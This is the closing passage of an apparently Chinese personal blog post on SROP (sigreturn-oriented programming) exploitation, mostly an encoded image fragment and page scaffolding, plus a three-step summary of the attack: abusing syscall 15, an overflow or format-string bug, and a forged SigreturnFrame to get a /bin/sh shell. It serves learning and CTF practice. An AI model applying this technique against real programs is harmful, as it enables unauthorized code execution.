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%0A7Cygk15TE+DJ+6liExDZBS7yZTaBjZx5uRQoKIQUs+3DD4UT/eo1m/ZLVf8O%0Awgrj++xel16Ljze3t7yv2vvttrNW2PapuK/Nqi8zb69xH5jCE5t9Vo0sEKmH%0A+7l6HaZtDg4WX7dr72w/Vmf3eZLqkfenuH3SumX700jd59L0mXB9HFXbXnkd%0Asj8r7WebMYoXx7lqvJyw2bdmKms1MY2HcoBnv6/Mr1er20Jp/5rZj4+Rad3W%0A7XHwXiIiIiIiIqK76D7bQENdUCAPMaqHH6bXlJfbnwzbkU661QZ4Nsz9Wk7a%0AzeFevFhD1Um8UlhiPGG3q8HIuk5TSGBiE8SY+5K2z/K6sW21IEis137d1Wqx%0A285aYdunfDuUyEMp45hJrzsMXpyEGPVwP9seo+aAyvJ3Y+22dcr3lcP9alxv%0A9c+Tzboc7hdl8n5M77UbB8VQTNpmhRrs+q7aT5bxVehLcYws/dkfK9X2vR3F%0AWh2pvg0SYz0K66j2unFd1trtVfXroibTfnNy7BMRERERERHdJfdZb7gvkc2u%0AsWMfWtxegGdL3k8VS4Bg/Ltd4GKzTGKtt6ofcyhif7JvfN1BHa7ZBTHmcMI4%0Ay6xq/ykHJca67MKM6vtEOVi6M7Z9Ku5rM5tl5hAjPt7BuFUbAzv1cD9b25n6%0Arla/1K/5ffb7UXG/VtVRPcCz2T929ZpINdjvXwf92LdTDKCU95fNNtrUofCZ%0AsmFXi+I6TW2U329hqst5G4vq2yCR9n31/ef4dROl/Stf5rgm435zduwTERER%0AERER3SX32Z7oKgQFCuShhemk1nTCL2ez3D4QMVMMP2wCIumEWhYOyJcZ/yyu%0AS9a3pRal+i11GE/uze+Rr9/6Z6XwwW6/GMMT5XXLX1sXb65VISCxrVG2nTbb%0Afyds951xu6X6HJDvB6k2h+Pmor76uJ+r+hTZtpcx9y2FifKa5dtm39blDDxF%0AUo0qxt+4b+zaGbfJPkyT+nOyXQqMYyf/XrBZl902HUg1z5q17r9q73fA2E7N%0AtjrYBkfrcb5+5/vXdCwoL3e2jIiIiIiIiOjuuYb/B0Tf3fK2210FAAAAAElF%0ATkSuQmCC"></p>
<h2 id="简单概述"><a href="#简单概述" class="headerlink" title="简单概述"></a>简单概述</h2><p>1.有系统调用15号</p>
<p>2.有溢出有输出或格式化字符串能任意读取任意写</p>
<p>3.传入/bin/sh后传入sigreturn的地址接着传入我们手动构造的SigreturnFrame</p>

    </div>

    
    
    

      <footer class="post-footer">

        


        
    <div class="post-nav">
      <div class="post-nav-item">
    <a href="/diazang/2021/04/11/csapp-bomb-lab/" rel="prev" title="csapp_bomb_lab">
      <i class="fa fa-chevron-left"></i> csapp_bomb_lab
    </a></div>
      <div class="post-nav-item">
    <a href="/diazang/2021/04/17/csapppp-attacklab/" rel="next" title="csapppp_attacklab">
      csapppp_attacklab <i class="fa fa-chevron-right"></i>
    </a></div>
    </div>
      </footer>
    
  </article>
  
  
  



          </div>
          
    <div class="comments" id="valine-comments"></div>

<script>
  window.addEventListener('tabs:register', () => {
    let { activeClass } = CONFIG.comments;
    if (CONFIG.comments.storage) {
      activeClass = localStorage.getItem('comments_active') || activeClass;
    }
    if (activeClass) {
      let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
      if (activeTab) {
        activeTab.click();
      }
    }
  });
  if (CONFIG.comments.storage) {
    window.addEventListener('tabs:click', event => {
      if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
      let commentClass = event.target.classList[1];
      localStorage.setItem('comments_active', commentClass);
    });
  }
</script>

        </div>
          
  
  <div class="toggle sidebar-toggle">
    <span class="toggle-line toggle-line-first"></span>
    <span class="toggle-line toggle-line-middle"></span>
    <span class="toggle-line toggle-line-last"></span>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          文章目录
        </li>
        <li class="sidebar-nav-overview">
          站点概览
        </li>
      </ul>

      <!--noindex-->
      <div class="post-toc-wrap sidebar-panel">
          <div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#srop%E6%A6%82%E5%BF%B5"><span class="nav-number">1.</span> <span class="nav-text">srop概念</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E4%BC%A0%E5%8F%82%E8%A7%84%E5%88%99"><span class="nav-number">2.</span> <span class="nav-text">传参规则</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%85%B7%E4%BD%93%E6%94%BB%E5%87%BB%E6%96%B9%E5%BC%8F"><span class="nav-number">3.</span> <span class="nav-text">具体攻击方式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E4%BE%8B%E9%A2%98"><span class="nav-number">4.</span> <span class="nav-text">例题</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#exp"><span class="nav-number">5.</span> <span class="nav-text">exp</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E7%AE%80%E5%8D%95%E6%A6%82%E8%BF%B0"><span class="nav-number">6.</span> <span class="nav-text">简单概述</span></a></li></ol></div>
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
    <img class="site-author-image" itemprop="image" alt="H.R.P"
      src="https://www.hualigs.cn/image/6015786be4309.jpg">
  <p class="site-author-name" itemprop="name">H.R.P</p>
  <div class="site-description" itemprop="description"></div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
          <a href="/diazang/archives/">
        
          <span class="site-state-item-count">38</span>
          <span class="site-state-item-name">日志</span>
        </a>
      </div>
  </nav>
</div>



      </div>
        <div class="back-to-top motion-element">
          <i class="fa fa-arrow-up"></i>
          <span>0%</span>
        </div>

    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer class="footer">
      <div class="footer-inner">
        

        <!-- 用下面的符号注释，注释代码用下面括号括起来 -->
<!-- -->

<!-- 







-->


        








      </div>
    </footer>
  </div>

  
  <script src="/diazang/lib/anime.min.js"></script>
  <script src="/diazang/lib/velocity/velocity.min.js"></script>
  <script src="/diazang/lib/velocity/velocity.ui.min.js"></script>

<script src="/diazang/js/utils.js"></script>

<script src="/diazang/js/motion.js"></script>


<script src="/diazang/js/schemes/pisces.js"></script>


<script src="/diazang/js/next-boot.js"></script>




  




  
<script src="/diazang/js/local-search.js"></script>













  

  


<script>
NexT.utils.loadComments(document.querySelector('#valine-comments'), () => {
  NexT.utils.getScript('//unpkg.com/valine/dist/Valine.min.js', () => {
    var GUEST = ['nick', 'mail', 'link'];
    var guest = 'nick,mail,link';
    guest = guest.split(',').filter(item => {
      return GUEST.includes(item);
    });
    new Valine({
      el         : '#valine-comments',
      verify     : false,
      notify     : false,
      appId      : 'g8R6OK66Q2xJiQieSaxzFqVA-gzGzoHsz',
      appKey     : 'V9mmkUCmucvukcz6LwkONqXa',
      placeholder: "Just go go",
      avatar     : 'mm',
      meta       : guest,
      pageSize   : '10' || 10,
      visitor    : false,
      lang       : '' || 'zh-cn',
      path       : location.pathname,
      recordIP   : false,
      serverURLs : ''
    });
  }, window.Valine);
});
</script>

</body>
</html>
<a href="http://jue-xian.gitee.io/diazang"><svg width="80" height="80" viewBox="0 0 250 250" style="fill:#70B7FD; color:#fff; position: absolute; top: 0; border: 0; right: 0;" aria-hidden="true"><path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"></path><path d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2" fill="currentColor" style="transform-origin: 130px 106px;" class="octo-arm"></path><path d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z" fill="currentColor" class="octo-body"></path></svg></a><style>.github-corner:hover .octo-arm{animation:octocat-wave 560ms ease-in-out}@keyframes octocat-wave{0%,100%{transform:rotate(0)}20%,60%{transform:rotate(-25deg)}40%,80%{transform:rotate(10deg)}}@media (max-width:500px){.github-corner:hover .octo-arm{animation:none}.github-corner .octo-arm{animation:octocat-wave 560ms ease-in-out}}</style>
<!-- 动态背景 -->
<script type="text/javascript" src="//cdn.bootcss.com/canvas-nest.js/1.0.0/canvas-nest.min.js"></script>
<!-- 页面点击小红心 -->
<script type="text/javascript" src="/js/src/clicklove.js"></script>


